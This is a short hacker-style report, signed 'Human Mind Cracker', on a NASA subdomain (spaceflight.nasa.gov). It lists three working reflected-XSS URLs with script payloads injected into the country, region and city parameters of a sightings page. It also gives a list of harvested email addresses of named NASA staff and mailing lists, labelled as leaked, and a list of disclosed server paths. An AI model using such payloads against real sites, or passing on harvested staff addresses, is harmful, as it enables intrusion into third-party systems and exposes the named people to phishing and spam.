Report1: Nasa

************************ Vulnerabilities on Nasa subdomain *********************************

[*]Target: http://spaceflight.nasa.gov

[**] XSS:

http://spaceflight.nasa.gov/realdata/sightings/cities/view.cgi?country=Laos&region=None&city=%22%3Cscript%3EXSS%20vulnerabilities%20found%20by%20human%20mind%20cracker%3C/script%3E%3E%20HTTP/1.1

http://spaceflight.nasa.gov/realdata/sightings/cities/view.cgi?region=None&city=Vientiane&country=%22'%3CcJzI5%3EXSS%20found%20by%20human%20mind%20cracker

http://spaceflight.nasa.gov/realdata/sightings/cities/view.cgi?country=Laos&city=Vientiane&region=%22'%3CcJzI5%3EXSS%20found%20by%20human%20mind%20cracker

[**] Email Leaked:

jsc-hsfwebma@mail.nasa.gov
HSFWebMa@ems.jsc.nasa.gov
william.h.tracy@nasa.gov
listserv@listserver.jsc.nasa.gov
francis.a.cucinotta@nasa.gov
walter.schimmerling@hq.nasa.gov
majordomo@listserver.jsc.nasa.gov
frank.m.sulzman@nasa.gov
domo@hq.nasa.gov
majordomo@amsat.org
na6sa-nasa-dryden@mail.nasa.gov
mallard@mail.arc.nasa.gov
glenn.l.williams@grc.nasa.gov
Fred.A.Minetto@nasa.gov
mark.m.schaefer@jpl.nasa.gov
no6b@no6b.jpl.nasa.gov
kyle.brewer@nasa.gov
nicholas.lance1@jsc.nasa.gov
james.e.byrd@nasa.gov
don.hediger@nasa.gov
Charles.R.Jacob.1@gsfc.nasa.gov
kg5u@hal-pc.org

[**] Path Disclosure:

Various system paths were disclosed within the application client source code or other files. This information could be used by attackers to make an educated guess about the application environment and any inherited weaknesses that may come with it.

path: /home/index.html ...
path: /home/hqnews/2004/oct/HQ_04336_neemo7.html ...
path: /Home/hm_b_wel1.gif ...
path: /Home/hm_b_his1.gif ...
path: /Home/hm_b_sci1.gif ...
path: /Home/hm_b_space1.gif ...
path: /Home/hm_b_peop1.gif ...
path: /Home/hm_b_ref1.gif ...
path: /Home/hm_b_mm1.gif ...
path: /Home/hm_b_wel2.gif ...
path: /Home/hm_b_his2.gif ...
path: /Home/hm_b_sci2.gif ...
path: /Home/hm_b_space2.gif ...
path: /Home/hm_b_peop2.gif ...
path: /Home/hm_b_ref2.gif ...
path: /Home/hm_b_mm2.gif ...




[*****]Picture When i Found the XSS vulnerabilitie:
http://www.imagup.com/data/1166121656.html


Human Mind Cracker (^_^)